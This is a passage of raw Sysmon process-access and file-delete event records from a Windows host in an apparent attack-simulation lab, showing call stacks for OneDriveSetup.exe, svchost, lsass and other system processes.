Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\windows.storage.dll+1dbb09(wow64)|C:\Windows\System32\windows.storage.dll+1db905(wow64)|C:\Windows\System32\windows.storage.dll+1db766(wow64)|C:\Windows\System32\shcore.dll+12a10(wow64)|C:\Windows\System32\shcore.dll+36766(wow64)|C:\Windows\System32\shcore.dll+36625(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+29b8a|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+2a27d|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+2a167|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+5feaa|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+67b89 10341000x800000000000000042694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.852{7BD73061-6F40-613B-F108-00000000F001}71164204C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\windows.storage.dll+1dba3c(wow64)|C:\Windows\System32\windows.storage.dll+1db905(wow64)|C:\Windows\System32\windows.storage.dll+1db766(wow64)|C:\Windows\System32\shcore.dll+12a10(wow64)|C:\Windows\System32\shcore.dll+36766(wow64)|C:\Windows\System32\shcore.dll+36625(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+29b8a|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+2a27d|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+2a167|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+5feaa|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+67b89 10341000x800000000000000042693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.852{7BD73061-6F40-613B-F108-00000000F001}71164204C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+264da(wow64)|C:\Windows\System32\shcore.dll+297f0(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\windows.storage.dll+1dba27(wow64)|C:\Windows\System32\windows.storage.dll+1db905(wow64)|C:\Windows\System32\windows.storage.dll+1db766(wow64)|C:\Windows\System32\shcore.dll+12a10(wow64)|C:\Windows\System32\shcore.dll+36766(wow64)|C:\Windows\System32\shcore.dll+36625(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+29b8a 10341000x800000000000000042692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.852{7BD73061-6F40-613B-F108-00000000F001}71164204C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+297cb(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\windows.storage.dll+1dba27(wow64)|C:\Windows\System32\windows.storage.dll+1db905(wow64)|C:\Windows\System32\windows.storage.dll+1db766(wow64)|C:\Windows\System32\shcore.dll+12a10(wow64)|C:\Windows\System32\shcore.dll+36766(wow64)|C:\Windows\System32\shcore.dll+36625(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+29b8a|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+2a27d 10341000x800000000000000042691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.836{7BD73061-65B2-613B-1600-00000000F001}12962072C:\Windows\system32\svchost.exe{7BD73061-6F40-613B-F108-00000000F001}7116C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.836{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-6F40-613B-F108-00000000F001}7116C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.836{7BD73061-6F40-613B-F108-00000000F001}71164204C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+2995e(wow64)|C:\Windows\System32\shcore.dll+29cab(wow64)|C:\Windows\System32\windows.storage.dll+1f1ee0(wow64)|C:\Windows\System32\windows.storage.dll+1db878(wow64)|C:\Windows\System32\shcore.dll+12a10(wow64)|C:\Windows\System32\shcore.dll+36766(wow64)|C:\Windows\System32\shcore.dll+36625(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+29b8a|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+2a27d|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+2a167|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+5feaa|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+67b89 10341000x800000000000000042688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.836{7BD73061-6F40-613B-F108-00000000F001}71164204C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+264da(wow64)|C:\Windows\System32\shcore.dll+297f0(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\windows.storage.dll+1f1ed2(wow64)|C:\Windows\System32\windows.storage.dll+1db878(wow64)|C:\Windows\System32\shcore.dll+12a10(wow64)|C:\Windows\System32\shcore.dll+36766(wow64)|C:\Windows\System32\shcore.dll+36625(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+29b8a|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+2a27d 10341000x800000000000000042687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.836{7BD73061-6F40-613B-F108-00000000F001}71164204C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+297cb(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\windows.storage.dll+1f1ed2(wow64)|C:\Windows\System32\windows.storage.dll+1db878(wow64)|C:\Windows\System32\shcore.dll+12a10(wow64)|C:\Windows\System32\shcore.dll+36766(wow64)|C:\Windows\System32\shcore.dll+36625(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+29b8a|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+2a27d|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+2a167 10341000x800000000000000042686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.836{7BD73061-65B0-613B-0B00-00000000F001}6205912C:\Windows\system32\lsass.exe{7BD73061-6F40-613B-F108-00000000F001}7116C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.836{7BD73061-65B0-613B-0B00-00000000F001}6205912C:\Windows\system32\lsass.exe{7BD73061-6F40-613B-F108-00000000F001}7116C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.805{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F40-613B-F408-00000000F001}6352C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.789{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x101000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+1121|C:\Windows\System32\modernexecserver.dll+3f342|C:\Windows\System32\modernexecserver.dll+3fc6e|C:\Windows\SYSTEM32\twinapi.appcore.dll+2effb|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357b5|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.789{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3f0db|C:\Windows\System32\modernexecserver.dll+3fbe5|C:\Windows\SYSTEM32\twinapi.appcore.dll+2effb|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357b5|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.789{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F40-613B-F408-00000000F001}6352C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.789{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F40-613B-F408-00000000F001}6352C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000042679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.742{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3f0db|C:\Windows\System32\modernexecserver.dll+3f049|C:\Windows\System32\modernexecserver.dll+3fd2f|C:\Windows\System32\modernexecserver.dll+3fe52|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.742{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3f6a2|C:\Windows\System32\modernexecserver.dll+3fd1e|C:\Windows\System32\modernexecserver.dll+3fe52|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.742{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x101000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+1121|C:\Windows\System32\modernexecserver.dll+3f342|C:\Windows\System32\modernexecserver.dll+3fd0b|C:\Windows\System32\modernexecserver.dll+3fe52|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.742{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3fdee|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000042675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.742{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\22b13a.msiMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.742{7BD73061-6D0E-613B-8B06-00000000F001}45002724C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x101000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f400|C:\Windows\System32\modernexecserver.dll+47a8c|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 23542300x800000000000000042673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.727{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=92596C0ADF61B3A587ACE544D2E4C91A,SHA256=B330AC53516B33FC5C24DB122E3C14258900D30DE3CFA56967F7BAEA66C32DA4,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.727{7BD73061-6D0E-613B-8B06-00000000F001}45005608C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+478ab|C:\Windows\System32\modernexecserver.dll+476e0|C:\Windows\System32\modernexecserver.dll+4763b|C:\Windows\System32\modernexecserver.dll+3985d|C:\Windows\System32\Windows.Shell.ServiceHostBuilder.dll+1781|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\